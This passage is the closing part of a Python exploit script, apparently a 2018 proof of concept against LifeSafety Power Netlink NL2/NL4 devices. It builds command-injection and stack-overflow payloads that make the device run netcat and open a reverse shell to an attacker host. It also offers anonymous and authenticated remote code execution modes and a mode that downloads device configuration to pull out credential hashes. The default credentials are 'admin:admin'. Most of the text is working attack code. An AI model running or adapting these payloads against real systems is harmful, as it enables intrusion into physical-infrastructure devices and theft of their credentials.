					'0x0000A028',	# system()
					'0x0000A534',	# system()
					'0x0000A608',	# system()
					'0x0000A78C',	# system()
					'0x0000A7B8',	# system()
					'0x0000A9A0',	# system()
					'0x0000B04C',	# system()
					'0x00011E00',	# system()
					'0x0001205C',	# system()
					'0x00012604',	# system()
					'0x000128BC',	# system()
					'0x00012960',	# system()
					'0x000129EC',	# system()
					'0x00012A74',	# system()
					'0x00012AF8',	# system()
					'0x00012B90',	# system()
					'0x00012C28',	# system()
					'0x00012CC0',	# system()
					'0x00012E64',	# system()
					'0x00012F80',	# system()
					'0x00013478'	# system()
#					'0x00011278',	# popen()
			]

		}

		#
		# random stuff to select CGI target and random system() call
		#
		CGI_random = randint(0, len(target_db)-1)
		CGI = target_db.keys()[CGI_random]

		SYSTEM_random = randint(0, len(target_db[CGI])-1)

		URL_SYSTEM = self.URL_Encode_LE(target_db[CGI][SYSTEM_random])

		print "[i] Random CGI: {}, system(): {} Encoded: {}".format(CGI,target_db[CGI][SYSTEM_random],URL_SYSTEM)

 		try:

 			URI = '/'
			URI += CGI
 			if not CGI == 'index.cgi':
				URI += '?'

			RCE = 'nc%20LHOST%20LPORT%20-e/bin/sh&%00' # fork() + NULL char #32
			RCE = RCE.replace("LHOST",self.lhost).replace("LPORT",self.lport)
			RCE += self.random_string(2028 - (len(RCE) -8)) # -8 for the URL encoded chars
			RCE += URL_SYSTEM

			if CGI == 'index.cgi':
				# POST
				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,RCE,None,False)
			else:
				# GET
				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI + RCE,headers,None,None,False)


			print response
		except Exception as e:
#			print e.info(), e.info().get('Content-Length')
			if e.code == 500 and e.info().get('Content-Length') == '542':
				print "[*] Should be OK"

		return
#
# Validate correctness of HOST, IP and PORT
#
class Validate:

	def __init__(self,verbose):
		self.verbose = verbose

	# Check if IP is valid
	def CheckIP(self,IP):
		self.IP = IP

		ip = self.IP.split('.')
		if len(ip) != 4:
			return False
		for tmp in ip:
			if not tmp.isdigit():
				return False
		i = int(tmp)
		if i < 0 or i > 255:
			return False
		return True

	# Check if PORT is valid
	def Port(self,PORT):
		self.PORT = PORT

		if int(self.PORT) < 1 or int(self.PORT) > 65535:
			return False
		else:
			return True

	# Check if HOST is valid
	def Host(self,HOST):
		self.HOST = HOST

		try:
			# Check valid IP
			socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
			# Now we check if it is correct typed IP
			if self.CheckIP(self.HOST):
				return self.HOST
			else:
				return False
		except socket.error as e:
			# Else check valid DNS name, and use the IP address
			try:
				self.HOST = socket.gethostbyname(self.HOST)
				return self.HOST
			except socket.error as e:
				return False



if __name__ == '__main__':

#
# Help, info and pre-defined values
#	
	INFO =  '[LifeSystem Power Netlink NL2/NL4 PoC (2018 bashis <mcw noemail eu>)]\n'
	HTTP = "http"
	HTTPS = "https"
	proto = HTTP
	verbose = False
	raw_request = True
	rhost = '192.168.57.20'	# Default Remote HOST
	rport = '80'			# Default Remote PORT
	lhost = '192.168.57.1'	# Default Local HOST
	lport = '1337'		# Default Local PORT
	creds = 'admin:admin'			# creds = 'user:pass'
	Cookie = ""


#
# Try to parse all arguments
#
	try:
		arg_parser = argparse.ArgumentParser(
		prog=sys.argv[0],
				description=('[*] '+ INFO +' [*]'))
		arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
		arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
		arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
		arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
		arg_parser.add_argument('--get_config', required=False, default=False, action='store_true', help='Try download config and extract credentials (v8.x)')
		arg_parser.add_argument('--v715_rce', required=False, default=False, action='store_true', help='Anonymous RCE for Netlink v7.15 (w/ mongoose web server)')
		arg_parser.add_argument('--v8_hash_rce', required=False, default=False, action='store_true', help='Anonymous RCE for Netlink v8.x (w/ Apache web server)')
		arg_parser.add_argument('--v8_uri_rce', required=False, default=False, action='store_true', help='Anonymous RCE for Netlink v8.x (w/ Apache web server)')
		arg_parser.add_argument('--auth_rce', required=False, default=False, action='store_true', help='Auth RCE for Netlink, add "--get_config" for Anonymous')
		if creds:
			arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds + ']')
		arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
		arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
		args = arg_parser.parse_args()
	except Exception as e:
		print INFO,"\nError: %s\n" % str(e)
		sys.exit(1)

	# We want at least one argument, so print out help
	if len(sys.argv) == 1:
		arg_parser.parse_args(['-h'])

	print "\n[*]",INFO

	if args.verbose:
		verbose = args.verbose
#
# Check validity, update if needed, of provided options
#
	if args.https:
		proto = HTTPS
		if not args.rport:
			rport = '443'

	if creds and args.auth:
		creds = args.auth

	if args.rport:
		rport = args.rport

	if args.rhost:
		rhost = args.rhost

	if args.lport:
		lport = args.lport

	if args.lhost:
		lhost = args.lhost

	# Check if RPORT is valid
	if not Validate(verbose).Port(rport):
		print "[!] Invalid RPORT - Choose between 1 and 65535"
		sys.exit(1)

	# Check if RHOST is valid IP or FQDN, get IP back
	rhost = Validate(verbose).Host(rhost)
	if not rhost:
		print "[!] Invalid RHOST"
		sys.exit(1)

	# Check if LHOST is valid IP or FQDN, get IP back
	lhost = Validate(verbose).Host(lhost)
	if not lhost:
		print "[!] Invalid LHOST"
		sys.exit(1)

	# Check if RHOST is valid IP or FQDN, get IP back
	rhost = Validate(verbose).Host(rhost)
	if not rhost:
		print "[!] Invalid RHOST"
		sys.exit(1)

#
# Validation done, start print out stuff to the user
#
	if args.https:
		print "[i] HTTPS / SSL Mode Selected"
	print "[i] Remote target IP:",rhost
	print "[i] Remote target PORT:",rport
	print "[i] Local target IP:",lhost
	print "[i] Local target PORT:",lport

	rhost = rhost + ':' + rport

	headers = {
		'Content-Type'	:	'application/x-www-form-urlencoded',
		'Connection':' close',
		'Cookie':' right=3; loginname=admin; Accept=yes; hash_key=kwitfbcuvnnxdjyp; viewnavi=yes',
		'User-Agent':'Chrome/5.0'
		}

	RCE = "$(nc${IFS}LHOST${IFS}LPORT${IFS}-e/bin/sh)"
	RCE = RCE.replace("LHOST",lhost).replace("LPORT",lport)

	try:
		
		#
		# Check if remote is Netlink, and if running 'Apache' or 'mongoose' web server.
		# (If remote are not Netlink, this function will tell and exit)
		#
		# True == Apache Web Server (v8.x), False == Mongoose Web Server (v7.x)
		#
		Netlink_Version = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Verify_Target(headers, lhost, lport)

		#
		# Check if remote target is vulnerable
		#
		Vulnerable = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Check_Vulnerable(headers, lhost, lport, Netlink_Version)

		if Vulnerable:
			print "[i] Remote target is vulnerable"

			#
			# Try get version of remote target
			#
			Version = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Get_Version(headers, lhost, lport)

			if args.v8_uri_rce:
				if Netlink_Version:
					result = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).URI_Decoder_RCE(headers, lhost, lport)
				else:
					print "[!] v8_uri_rce: Older version has the vulnerability, but not implemented"
					sys.exit(1)

			#
			# Anonymous: Execute RCE due to unsanitized user input direct to system() call
			#
			if args.v8_hash_rce:
				if Netlink_Version:
					result = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).v8_hash_rce(headers, lhost, lport)
				else:
					print "[!] v8_hash_rce: Not supported with Mongoose Web Server"
					sys.exit(1)

			#
			# Anonymous: Execute RCE via stack overflow
			#
			if args.v715_rce:
				if not Netlink_Version:
					result = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).v715_rce(headers, lhost, lport)
				else:
					print "[!] v715_rce: Not supported with Apache Web Server"
					sys.exit(1)

			if args.get_config:
				#
				# Anonymous: Try to get all config and extract username/password hash from remote device 
				#
				if Netlink_Version:
					creds = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Get_allcfg(headers)
					if creds == False:
						print "[!] Extracted Credentials Failed"
				else:
					print "[!] get_config: Not supported with Mongoose Web Server"
					sys.exit(1)

			if args.auth_rce:
				csrftoken = ""
				response = ""
				#
				# Authenticated: Login, Add and execute RCE
				# Anonymous: Combine with '--get_config'
				#
				Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Login(csrftoken,response,headers,Cookie)
				Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Add_RCE_msmtp(csrftoken,response,headers,Cookie,RCE)
				#
				# Authenticated: Login, and remove RCE
				# Anonymous: Combine with '--get_config'
				#
				Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Login(csrftoken,response,headers,Cookie)
				Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Del_RCE_msmtp(csrftoken,response,headers,Cookie)
		else:
			print "[i] Remote target not vulnerable"

	except Exception as e:
		print "[!] Detect of target failed ({})".format(e)
		sys.exit(1)

	print "\n[*] All done...\n"
	sys.exit(0)